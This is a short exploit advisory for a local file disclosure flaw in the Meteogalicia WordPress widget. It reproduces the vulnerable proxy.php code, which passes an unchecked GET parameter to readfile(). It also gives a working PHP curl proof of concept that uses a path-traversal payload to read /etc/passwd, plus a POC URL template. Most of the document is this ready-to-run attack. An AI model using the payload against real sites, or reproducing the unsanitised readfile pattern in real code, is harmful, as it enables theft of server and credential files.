Meteogalicia Wordpress Widget - Local File Disclosure
Posted on 30 November -0001
<HTML><HEAD><TITLE>Meteogalicia Wordpress Widget - Local File Disclosure</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY>" Meteogalicia Wordpress Widget - Local File Disclosure " An attacker can exploit this issue to download Important files on the site Source : https://github.com/zetxek/Meteogalicia-Wordpress-Widget =========== Vulnerable page : =========== Meteogalicia-Wordpress-Widget/meteogalicia/proxy.php ========== Vulnerable Code : ========== <?php /* Note */ $url = 'site.....='.$_GET['id']; readfile($url) ?> ========= POC Exploit : ======== <?php # Author : Shahab Shamsi # Title : Meteogalicia Wordpress Widget - Local File Disclosure # Date : 08.September.2016 # Email : info@securityman.org # Vendor : https://github.com/zetxek/Meteogalicia-Wordpress-Widget # Category : Webapps $target = $argv[1]; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, "http://localhost/wordpress/meteogalicia/proxy.php?id=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"); curl_setopt($ch, CURLOPT_HTTPGET, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 3); curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 3); $buf = curl_exec ($ch); curl_close($ch); unset($ch); echo $buf; /* Contact Me : Telegram : @R4DIK4L Email : info@securityman.org WebSilte : WwW.MohitAmn.Org Tnx : AmirHossein Farjad Curl By : R@DIK@L */ ?> =========== POC URL: =========== http://localhost/patch/meteogalicia/proxy.php?id=[LFD] </BODY></HTML>
